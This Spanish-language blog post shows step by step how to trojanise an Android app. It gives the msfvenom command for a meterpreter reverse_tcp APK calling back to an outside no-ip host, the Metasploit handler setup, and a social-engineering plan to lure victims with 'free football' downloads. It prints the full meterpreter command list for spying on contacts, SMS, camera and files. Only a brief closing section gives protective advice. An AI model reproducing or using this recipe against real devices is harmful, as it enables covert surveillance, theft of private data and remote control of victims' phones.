¿Quieres ver cómo hackeo un Android? Te enseño a evitar que te lo hagan

Publicado el 19.05.2024 a las 23:51

¿Quieres ver cómo hackeo un Android? Te enseño a evitar que te lo hagan

  1. ¿Cómo voy entrar en un Android conectado a internet?

  2. Pasos como maleante

  3. ¿Qué no debes hacer nunca para estar protegido?

Logo de fjmduran

¿Quieres ver cómo hackeo un Android? Te enseño a evitar que te lo hagan

¿Has instalado en tu Android alguna aplicación que no estuviera en la tienda de Google?


¿Tienes alguna aplicación que te permita usar un servicio de pago pero sin pagarlo?


Ya me entiendes, Spotify Premium sin pagarlo, ves el fútbol en tu móvil sin pagar el fútbol, una aplicación que te permite ver Netflix sin pagar...


Seguro que tú no, pero tienes algún amigo que sí.


Esto te interesa.


Te voy a enseñar cómo puedo entrar en tu móvil Android a distancia, no necesito tocar tu móvil ni conectarle cables... nada.

Entro en tu móvil estando tú en el sofá de tu casa.


No voy a instalarte el Pegasus, es menos sofisticado, pero igualmente lo vas a flipar.


Por cierto, si quieres saber que es el Pegasus escribí un artículo donde te cuento qué es e incluso te doy su manual de instrucciones.

Imagen del artículo

Software de espionaje Pegasus 📱

Es increíble lo que Pegasus puede sacar de tu móvil 🤯

¿Cómo voy entrar en un Android conectado a internet?

Voy a programar una aplicación para Android (archivo apk) que sea atractiva para alguna víctima.

No sé, por ejemplo, una aplicación para ver GRATIS el fútbol en el móvil.

Lo de gratis suele funcionar muy bien.


La aplicación no sería compleja, un frontend vistoso que enlace imágenes a listas IPTV.


Esa aplicación será mi caballo de Troya, dentro meteré un código que se aprovechará de una vulnerabilidad de Android para darme acceso total a tu móvil.


Mi aplicación maliciosa la serviré desde me equipo con Kali Linux.

Para que funcione tendré que redireccionar algunos puertos de mi router, pero no me quiero meter a tanta profundidad.

O sí, si te interesa me lo dices.


Un poquito de ingeniería social para que te instales la aplicación y ya estás cazado.

arquitectura para hackear un android conectado a internet

Pasos que voy a seguir para hackear un Android conectado a internet

Antes de nada voy a levantar el contenedor de Docker de mi Kali Linux.


Es un contenedor que tiene como base la distribución oficial de Kali Linux y que me voy tuneando a medida que voy necesitando.


Antes usaba una memoria USB con el Kali instado, pero alguna vez la memoria se ha estropeado y era una pérdida de tiempo volver a tener que crearla.


Cómo lo hago ahora es con Docker, mola.

kali linux en docker

El programa (apk) que voy a programar creará en las bambalinas una conexión reversa desde el Android infectado a mi Kali Linux.


Voy a usar msfvenom.

Es una herramienta incluida en el paquete de Metasploit


Si lo que te he dicho antes te suena a chino pasa de ello.

opciones de msfvenom

El comando que he usado es msfvenom -p android/meterpreter/reverse_tcp LHOST=androidfjmduranhacked.no-ip.org LPORT=4444 R /var/www/html/testfjmduran.apk

apk creado con msfvenom

Si te fijas, junto al apk he creado un fichero inicio.html

Ese fichero sería la página desde la que la víctima se descargará el fichero malicioso.

Te la tienes que currar para que sea atractiva e incite a descargar el apk


A continuación:

  • msfconsole -q; se encargará de gestionar la conexiones desde el Android infectado
  • use exploit/multi/handler; comando que explotará vulnerabilidades
  • set payload android/meterpreter/reverse_tcp
  • show options

Con lo pasos anteriores llegaremos aquí:

apk creado con msfvenom

Si te fijas, el puerto está configurado, en este caso el 4444 pero el host no.

El host será la IP de nuestro equipo, de nuestro Kali.

Para ello set LHOST tu-direccion-ip


Si no sabes tu IP pues la buscas con ifconfig


Por último nos ponemos a escuchar la peticiones con exploit

apk creado con msfvenom

A partir de aquí nos toca tirar de ingenio.


Nos toca hacer ingeniería social para que la víctime se descargue e instale el apk.


Podemos poner el link en Telegram, en un foro...


¿Recuerdas el fichero inicio.html que se generó junto al apk?

Pues ese lo usaremos como página web para servir nuestro apk


La url que le pasaremos a la víctima será http://androidfjmduranhacked.no-ip.org/inicio.html

apk creado con msfvenom

Si hacemos clic en el enlace para descargar instalaremos el apk.

Android nos da el siguiente aviso:

apk creado con msfvenom

Aceptas todo los permisos.

Si te dice que es una APP maliciosa tu le dices que te da igual, que continue.


Una vez que hayas instalado la APK ya se establecerá la conexión con tu Kali.


Si escribes el comando help podrás ver todo lo que podemos hacer.

    meterpreter > help

    Core Commands
    =============
    
        Command                   Description
        -------                   -----------
        ?                         Help menu
        background                Backgrounds the current session
        bg                        Alias for background
        bgkill                    Kills a background meterpreter script
        bglist                    Lists running background scripts
        bgrun                     Executes a meterpreter script as a background thread
        channel                   Displays information or control active channels
        close                     Closes a channel
        detach                    Detach the meterpreter session (for http/https)
        disable_unicode_encoding  Disables encoding of unicode strings
        enable_unicode_encoding   Enables encoding of unicode strings
        exit                      Terminate the meterpreter session
        get_timeouts              Get the current session timeout values
        guid                      Get the session GUID
        help                      Help menu
        info                      Displays information about a Post module
        irb                       Open an interactive Ruby shell on the current session
        load                      Load one or more meterpreter extensions
        machine_id                Get the MSF ID of the machine attached to the session
        pry                       Open the Pry debugger on the current session
        quit                      Terminate the meterpreter session
        read                      Reads data from a channel
        resource                  Run the commands stored in a file
        run                       Executes a meterpreter script or Post module
        secure                    (Re)Negotiate TLV packet encryption on the session
        sessions                  Quickly switch to another session
        set_timeouts              Set the current session timeout values
        sleep                     Force Meterpreter to go quiet, then re-establish session
        transport                 Manage the transport mechanisms
        use                       Deprecated alias for "load"
        uuid                      Get the UUID for the current session
        write                     Writes data to a channel
    
    
    Stdapi: File system Commands
    ============================
    
        Command       Description
        -------       -----------
        cat           Read the contents of a file to the screen
        cd            Change directory
        checksum      Retrieve the checksum of a file
        cp            Copy source to destination
        del           Delete the specified file
        dir           List files (alias for ls)
        download      Download a file or directory
        edit          Edit a file
        getlwd        Print local working directory
        getwd         Print working directory
        lcd           Change local working directory
        lls           List local files
        lpwd          Print local working directory
        ls            List files
        mkdir         Make directory
        mv            Move source to destination
        pwd           Print working directory
        rm            Delete the specified file
        rmdir         Remove directory
        search        Search for files
        upload        Upload a file or directory
    
    
    Stdapi: Networking Commands
    ===========================
    
        Command       Description
        -------       -----------
        ifconfig      Display interfaces
        ipconfig      Display interfaces
        portfwd       Forward a local port to a remote service
        route         View and modify the routing table
    
    
    Stdapi: System Commands
    =======================
    
        Command       Description
        -------       -----------
        execute       Execute a command
        getenv        Get one or more environment variable values
        getuid        Get the user that the server is running as
        localtime     Displays the target system local date and time
        pgrep         Filter processes by name
        ps            List running processes
        shell         Drop into a system command shell
        sysinfo       Gets information about the remote system, such as OS
    
    
    Stdapi: User interface Commands
    ===============================
    
        Command       Description
        -------       -----------
        screenshare   Watch the remote user desktop in real time
        screenshot    Grab a screenshot of the interactive desktop
    
    
    Stdapi: Webcam Commands
    =======================
    
        Command        Description
        -------        -----------
        record_mic     Record audio from the default microphone for X seconds
        webcam_chat    Start a video chat
        webcam_list    List webcams
        webcam_snap    Take a snapshot from the specified webcam
        webcam_stream  Play a video stream from the specified webcam
    
    
    Stdapi: Audio Output Commands
    =============================
    
        Command       Description
        -------       -----------
        play          play a waveform audio file (.wav) on the target system
    
    
    Android Commands
    ================
    
        Command           Description
        -------           -----------
        activity_start    Start an Android activity from a Uri string
        check_root        Check if device is rooted
        dump_calllog      Get call log
        dump_contacts     Get contacts list
        dump_sms          Get sms messages
        geolocate         Get current lat-long using geolocation
        hide_app_icon     Hide the app icon from the launcher
        interval_collect  Manage interval collection capabilities
        send_sms          Sends SMS from target session
        set_audio_mode    Set Ringer Mode
        sqlite_query      Query a SQLite database from storage
        wakelock          Enable/Disable Wakelock
        wlan_geolocate    Get current lat-long using WLAN information
    
    
    Application Controller Commands
    ===============================
    
        Command        Description
        -------        -----------
        app_install    Request to install apk file
        app_list       List installed apps in the device
        app_run        Start Main Activty for package name
        app_uninstall  Request to uninstall application
    
    meterpreter > 
  
    Es una locura...
  • Puedo descargar tus archivos como fotos, vídeos...
  • Puedo descargar tus contactos dump_contacts
  • Puedo ver todas tus cámaras con webcam_list y después con webcam_stream -i 1 abrir la cámara etiquetada como 1 que normalmente es la trasera.
  • Puedo instalar aplicaciones en tu Android
  • ...

¿Qué no debes hacer nunca para estar protegido?

  • Nunca bajes APP que no estén en las tiendas oficiales o de las que no te fíes.
  • Omitir las actualizaciones de Android. Es muy importante tener nuestros dispositivos actualizados porque corrigen vulnerabilidades como la que te he mostrado.

Hasta luego 🖖